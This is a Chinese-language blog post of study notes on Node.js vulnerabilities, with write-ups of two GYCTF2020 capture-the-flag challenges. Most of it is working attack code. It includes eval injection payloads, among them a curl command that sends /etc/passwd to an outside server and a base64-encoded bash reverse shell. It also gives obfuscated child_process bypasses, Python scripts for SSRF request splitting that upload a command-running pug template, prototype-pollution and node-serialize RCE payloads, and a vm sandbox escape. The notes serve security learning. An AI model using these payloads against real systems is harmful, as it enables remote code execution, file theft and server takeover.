Featured image of post nodejs常见漏洞学习

nodejs常见漏洞学习

nodejs常见漏洞学习

参考:Node.js 常见漏洞学习与总结-先知社区

φ(゜▽゜*)♪咦,又好了!

语言特性和缺点

大小写特性

1
2
3
4
5
toUpperCase()
toLowerCase()

对于toUpperCase(): 字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"
对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

弱类型比较

1
2
3
4
5
6
console.log(1=='1'); //true 
console.log(1>'2'); //false 
console.log('1'<'2'); //true 
console.log(111>'3'); //true 
console.log('111'>'3'); //false 
console.log('asd'>1); //false

总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false

1
2
3
4
5
6
console.log([]==[]); //false 
console.log([]>[]); //false
console.log([6,2]>[5]); //true 
console.log([100,2]<'test'); //true 
console.log([1,2]<'2');  //true 
console.log([11,16]<"10"); //false

总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较

相等的情况

1
2
3
4
console.log(null==undefined) // 输出:true 
console.log(null===undefined) // 输出:false 
console.log(NaN==NaN)  // 输出:false 
console.log(NaN===NaN)  // 输出:false

拼接

1
2
3
4
console.log(5+[6,6]); //56,3 
console.log("5"+6); //56 
console.log("5"+[6,6]); //56,6 
console.log("5"+["6","6"]); //56,6

MD5绕过

1
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

跟php一样数组绕过

1
a[x]=1&b[x]=2
1
2
3
4
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

image-20250411162030426

数组被解析为[object Object]

编码绕过

16进制编码

1
console.log("a"==="\x61"); // true

unicode编码

1
console.log("\u0061"==="a"); // true

base编码

1
eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())

危险函数

eval()

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。

简单例子:

main.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
var express = require("express");
var app = express();

app.get('/eval',function(req,res){
    res.send(eval(req.query.q));
    console.log(req.query.q);
})

var server = app.listen(8888, function() {
    console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})

漏洞利用:

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

弹计算器(windows):

1
/eval?q=require('child_process').exec('calc');

读取文件(linux):

1
/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;

反弹shell(linux):

1
2
3
4
5
/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');

YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果,直接调用会报错。

注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)

如果上下文中没有require,则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令

与它类似的函数

间隔两秒执行函数:

  • setInteval(some_function, 2000)

两秒后执行函数:

  • setTimeout(some_function, 2000);

some_function处就类似于eval函数的参数

输出HelloWorld:

  • Function(“console.log(‘HelloWolrd’)”)()

类似于php中的create_function

以上都可以导致命令执行

文件读写

readFile()

1
2
3
4
require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
 if (err) throw err;
 console.log(data);
});

readFileSync()

1
require('fs').readFileSync('/etc/passwd','utf-8')

writeFileSync()

1
require('fs').writeFileSync('input.txt','sss');

writeFile()

1
require('fs').writeFile('input.txt','test',(err)=>{})

RCE-bypass

原payload

1
require("child_process").execSync('cat flag.txt')

拼接绕过

1
2
3
4
require("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)

require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")

编码绕过

1
2
3
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器

模板拼接

1
require("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/'

SSRF

通过拆分攻击实现的SSRF攻击-先知社区

原理

虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节

1
2
3
4
5
> v = "/caf\u{E9}\u{01F436}"
'/café🐶'

> Buffer.from(v,'latin1').toString('latin1')
'/café=6'

利用crlf进行HTTP头注入

1
2
> require('http').get('http://example.com/\r\n/test')._header
'GET //test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n'

[GYCTF2020]Node Game

源码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

这里

1
var file_path = '/uploads/' + req.files[0].mimetype +"/";

路径根据mimetype进行拼接,可以想到目录穿越

控制bp里面Content-Type../template,路径就为uploads/../template/+filename这样就相当于传了一个文件到template下

先了解前面crlf的攻击原理

假设一个服务器,接受用户输入,并将其包含在通过HTTP公开的内部服务请求中,像这样:

1
2
GET /private-api?q=<user-input-here> HTTP/1.1
Authorization: server-secret-key

如果服务器未正确验证用户输入,则攻击者可能会直接注入协议控制字符到请求里。假设在这种情况下服务器接受了以下用户输入:

1
"x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n"

在发出请求时,服务器可能会直接将其写入路径,如下:

1
2
3
4
GET /private-api?q=x HTTP/1.1

DELETE /private-api
Authorization: server-secret-key

说到底就是\r\n成功生效

接收服务将此解释为两个单独的HTTP请求,一个GET后跟一个DELETE

但是正常的HTTP库在nodejs会限制这种行为,如果你尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码,但是上文我们提到可以用unicode来绕过

1
2
3
4
'http://example.com/\u{010D}\u{010A}/test'
http://example.com/čĊ/test
http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]

当Node.js版本8或更低版本对此URL发出GET请求时,它不会进行转义,因为它们不是HTTP控制字符

但是当结果字符串被编码为latin1写入路径时,这些字符将分别被截断为“\r”和“\n”

1
2
Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'

这题思路是

1
2
3
1./core路由发起切分攻击,请求/core的同时还向/source路由发出上传文件的请求
2.由于/路由是先读取/template/目录下的pug文件再将其渲染到当前界面,因此应该上传包含命令执行的pug文件;文件虽然默认上传至/upload/目录下,但可以通过目录穿越将文件上传到/template目录
3.访问上传到/template目录下包含命令执行的pug文件

先写好pug文件,拼接绕过黑名单

1
2
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('ls /').toString()")
-return x

抓包获得请求包

image-20250411175917361

复制下来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Content-Type: multipart/form-data; boundary=----geckoformboundary3f02d5d68531cb3f111ca7a9cef0f9e8
Content-Length: 357
Origin: http://b0eba7e3-0d85-40aa-b5f1-c076b0375848.node5.buuoj.cn:81
Connection: keep-alive
Referer: http://b0eba7e3-0d85-40aa-b5f1-c076b0375848.node5.buuoj.cn:81/?action=upload
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundary3f02d5d68531cb3f111ca7a9cef0f9e8
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../tempelate

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('ls /').toString()")
-return x
------geckoformboundary3f02d5d68531cb3f111ca7a9cef0f9e8--

然后上脚本把包改了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------41671423531508392532090664957
Content-Length: 350

-----------------------------41671423531508392532090664957
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('ls /').toString()")
-return x
-----------------------------41671423531508392532090664957--

GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://b0eba7e3-0d85-40aa-b5f1-c076b0375848.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)

这个成功概率很小不知道为什么

然后看flag.txt,换一个脚本,这里直接手动换unicode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUlQgK81vgN7OB8A

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundaryZUlQgK81vgN7OB8A
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundaryZUlQgK81vgN7OB8A--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

requests.get('http://b0eba7e3-0d85-40aa-b5f1-c076b0375848.node5.buuoj.cn:81/core?q=' + payload)

print(requests.get('http://b0eba7e3-0d85-40aa-b5f1-c076b0375848.node5.buuoj.cn:81/?action=shell').text)

原型链污染

原理之前学过了,看看例题

[GYCTF2020]Ez_Express

源码泄露,有www.zip

看源码有merge,直接想到打原型链污染

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

然后这里登入会把用户名转大写写进session

1
2
3
4
5
req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }

但是不让以admin注册,要求ADMIN为用户名,用到上面大小写特性了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

admin 写成 admın 即可绕过上面的限制了

然后/action路由直接用常用payload就污染了

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('cat /flag');var __tmp2"}}

发包类型改为json

然后访问info路由触发污染,界面无回显,我们写文件到当前目录下

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('cat /flag >/app/public/abc');var __tmp2"}}

然后再访问abc路由,得到flag

node-serialize反序列化RCE漏洞(CVE-2017-5941)

漏洞出现在node-serialize模块0.0.4版本当中,使用npm install node-serialize@0.0.4安装模块。

  • 了解什么是IIFE:

IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。

IIFE一般写成下面的形式:

1
2
3
(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();

漏洞点

漏洞代码位于node_modules\node-serialize\lib\serialize.js中:

其中的关键就是:obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');这一行语句,可以看到传递给eval的参数是用括号包裹的,所以如果构造一个function(){}()函数,在反序列化时就会被当中IIFE立即调用执行。来看如何构造payload

  • 构造Payload
1
2
3
4
5
serialize = require('node-serialize');
var test = {
 rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));

生成的payload

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}

因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),结果如下:

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}

传递给unserialize(注意转义单引号):

1
2
3
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);

Node.js 目录穿越漏洞复现(CVE-2017-14849)

漏洞影响的版本:

  • Node.js 8.5.0 + Express 3.19.0-3.21.2
  • Node.js 8.5.0 + Express 4.11.0-4.15.5

用Burpsuite获取地址:/static/../../../a/../../../../etc/passwd 即可下载得到/etc/passwd文件

详细分析见Node.js CVE-2017-14849 漏洞分析 - 博客 - 腾讯安全应急响应中心

vm沙箱逃逸

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸

逃逸例子:

1
2
3
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

执行之后可以获取到主程序环境中的环境变量

上面例子的代码等价于如下代码:

1
2
3
4
5
6
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。

因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。

配合child_process.exec()就可以执行任意命令了

1
2
3
4
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
使用 Hugo 构建
主题 StackJimmy 设计